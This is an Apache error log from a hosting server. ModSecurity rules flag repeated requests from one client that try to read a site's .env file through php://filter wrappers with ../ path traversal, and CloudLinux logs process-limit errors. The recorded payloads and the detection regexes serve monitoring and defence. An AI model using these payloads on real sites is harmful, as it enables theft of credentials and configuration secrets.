[Fri Jul 17 08:55:11.868069 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.base64-encode/resource=../../../.env&junk=pkxybfmv1sy-ujspwt3enqzb0nbtqzl5w8a5if9a8bfieqmfedu6dfos0dpq6qip6px4diyyuiwaqis1tr9s2agzv1n8vbuy5ibnwgsg-lngqe2uryjv9sx2jy6dj_bebv0h2lf6zghynx9urx1hx6nijp_nx-a9ujhfjfcrhl862mhxsmru9s0tszol9hzkqqlhsvuf1piafdqpsrnziqf9f_mxm1yk-iqfcwm4mme5kj__xaupla1oly3gs0vxncbmg_z6nkqgn94ifgb7vwz9&anything=7rnhdpuq7kwiwdz6vjatvs44zuatvgjdqbg3ep6kaww4egakiuwfmfnww5ocnfz333ctvhvxsslvvqbbto67s3jrjq2eubo4..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcwAAAAU"]
[Fri Jul 17 08:55:11.868095 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcwAAAAU"]
[Fri Jul 17 08:55:11.868115 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcwAAAAU"]
[Fri Jul 17 08:55:11.868463 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcwAAAAU"]
[Fri Jul 17 08:55:11.869457 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglxAi3pC6yjXGNq2AcwAAAAU"]
[Fri Jul 17 08:55:11.869583 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.869850 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglxAi3pC6yjXGNq2AcwAAAAU"]
[Fri Jul 17 08:55:11.869915 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:src. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:src: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOwAAAAc"]
[Fri Jul 17 08:55:11.870908 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1h1WDijTxd1xw5MOwAAAAc"]
[Fri Jul 17 08:55:11.871023 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.871304 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1h1WDijTxd1xw5MOwAAAAc"]
[Fri Jul 17 08:55:11.893952 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSewAAAB4"]
[Fri Jul 17 08:55:11.894948 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgl1CBpfuYyhJ140vSewAAAB4"]
[Fri Jul 17 08:55:11.895077 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.895350 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgl1CBpfuYyhJ140vSewAAAB4"]
[Fri Jul 17 08:55:11.899600 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&source=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&debug=5GbTJKVMimpa1yNkyZwNGGDxvSiCDaYBXco61fHRXAbEFMCisso3JMd7hnldSR2w35hdocEuRfRmq8rzWiJbGpBKNj7VOlmZGwwwi4eQWrYOhqIhsE0eNHkf49YY6ORlGgEvh8p4iEWMiMJ-Nbo1sYuyWyudNAY2c1TSj8jzZPJvMff7g16aC7EQVxTH3hMa4gDOFl0HqQ-pFQfsijCuR_A0jgSKBHFwXS-1DHSYtCAwmQ6-gNdX6lKPHrDKBlf_qB_cBC0C-R-oIUnMabfm5TN-&extra=MQ7GC64ZC7UXO52CGZC2T4KF6YJQXZLPP63ASGILEEE2NPM36A4CNQ6E7DSXN2GXN6HWZAZH7..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PpQAAABk"]
[Fri Jul 17 08:55:11.899671 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PpQAAABk"]
[Fri Jul 17 08:55:11.899753 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&debug=5GbTJKVMimpa1yNkyZwNGGDxvSiCDaYBXco61fHRXAbEFMCisso3JMd7hnldSR2w35hdocEuRfRmq8rzWiJbGpBKNj7VOlmZGwwwi4eQWrYOhqIhsE0eNHkf49YY6ORlGgEvh8p4iEWMiMJ-Nbo1sYuyWyudNAY2c1TSj8jzZPJvMff7g16aC7EQVxTH3hMa4gDOFl0HqQ-pFQfsijCuR_A0jgSKBHFwXS-1DHSYtCAwmQ6-gNdX6lKPHrDKBlf_qB_cBC0C-R-oIUnMabfm5TN-&extra=MQ7GC64ZC7UXO52CGZC2T4KF6YJQXZLPP63ASGILEEE2NPM36A4CNQ6E7DSXN2GXN6HWZAZH7PV7S556JJ2MCG7YPWDRLXGQF..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PpQAAABk"]
[Fri Jul 17 08:55:11.899792 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&debug=5gbtjkvmimpa1ynkyzwnggdxvsicdaybxco61fhrxabefmcisso3jmd7hnldsr2w35hdoceurfrmq8rzwijbgpbknj7volmzgwwwi4eqwryohqihse0enhkf49yy6orlggevh8p4iewmimj-nbo1syuywyudnay2c1tsj8jzzpjvmff7g16ac7eqvxth3hma4gdofl0hqq-pfqfsijcur_a0jgskbhfwxs-1dhsytcawmq6-gndx6lkphrdkblf_qb_cbc0c-r-oiunmabfm5tn-&extra=mq7gc64zc7uxo52cgzc2t4kf6yjqxzlpp63asgileee2npm36a4cnq6e7dsxn2gxn6hwzazh7pv7s556jj2mcg7ypwdrlxgqf..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PpQAAABk"]
[Fri Jul 17 08:55:11.899826 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PpQAAABk"]
[Fri Jul 17 08:55:11.899852 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PpQAAABk"]
[Fri Jul 17 08:55:11.900204 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:source: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PpQAAABk"]
[Fri Jul 17 08:55:11.901232 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglw7FYe46zHK_jL3PpQAAABk"]
[Fri Jul 17 08:55:11.901382 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:11.901691 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglw7FYe46zHK_jL3PpQAAABk"]
[Fri Jul 17 08:55:11.909418 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&source=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F..%2F.env&debug=pYGBl7ecIDAfmx4LKkiOVo11ZXkWzrtCfMXFujRNSXkCfE3g_wEU1zKR-Wqa1tvvcihpt3tZ7FRkQG7iI58nh7U_DoYBpIzGg0HeCCWsA1B6h4sT55JQKJlYZuDgkFGxcn0Im1waZw0GQv73-EtLK9cGeJdp7aUOB7V8YZoXESNTT4U888dH_cD2-3O6MrK-tPgP1suv-CDH9KdoiA0sue1h-Fz5Bz01W_ydV7yWB6PmL99BhoSj-E2C4IfYp0BGX7GblMKgKc5xUozKbaQFsGGy&cb=GOS2S5JU36MKLD72AT4DSYTGNBAUE2EYLKP7ODHF3VSB23DSKYWA5EQX3JCESKDTKPYPGYE..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7wAAAA4"]
[Fri Jul 17 08:55:11.909468 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7wAAAA4"]
[Fri Jul 17 08:55:11.909525 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&debug=pYGBl7ecIDAfmx4LKkiOVo11ZXkWzrtCfMXFujRNSXkCfE3g_wEU1zKR-Wqa1tvvcihpt3tZ7FRkQG7iI58nh7U_DoYBpIzGg0HeCCWsA1B6h4sT55JQKJlYZuDgkFGxcn0Im1waZw0GQv73-EtLK9cGeJdp7aUOB7V8YZoXESNTT4U888dH_cD2-3O6MrK-tPgP1suv-CDH9KdoiA0sue1h-Fz5Bz01W_ydV7yWB6PmL99BhoSj-E2C4IfYp0BGX7GblMKgKc5xUozKbaQFsGGy&cb=GOS2S5JU36MKLD72AT4DSYTGNBAUE2EYLKP7ODHF3VSB23DSKYWA5EQX3JCESKDTKPYPGYE55AQWELTKW4TIDABA3A25UDSOV..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7wAAAA4"]
[Fri Jul 17 08:55:11.909551 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&source=php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env&debug=pygbl7ecidafmx4lkkiovo11zxkwzrtcfmxfujrnsxkcfe3g_weu1zkr-wqa1tvvcihpt3tz7frkqg7ii58nh7u_doybpizgg0heccwsa1b6h4st55jqkjlyzudgkfgxcn0im1wazw0gqv73-etlk9cgejdp7auob7v8yzoxesntt4u888dh_cd2-3o6mrk-tpgp1suv-cdh9kdoia0sue1h-fz5bz01w_ydv7ywb6pml99bhosj-e2c4ifyp0bgx7gblmkgkc5xuozkbaqfsggy&cb=gos2s5ju36mkld72at4dsytgnbaue2eylkp7odhf3vsb23dskywa5eqx3jceskdtkpypgye55aqweltkw4tidaba3a25udsov..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7wAAAA4"]
[Fri Jul 17 08:55:11.909573 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:source. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:source: php://filter/convert.iconv.utf-8.utf-7/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglyRF0UOO1RzB5_8t7wAAAA4"]
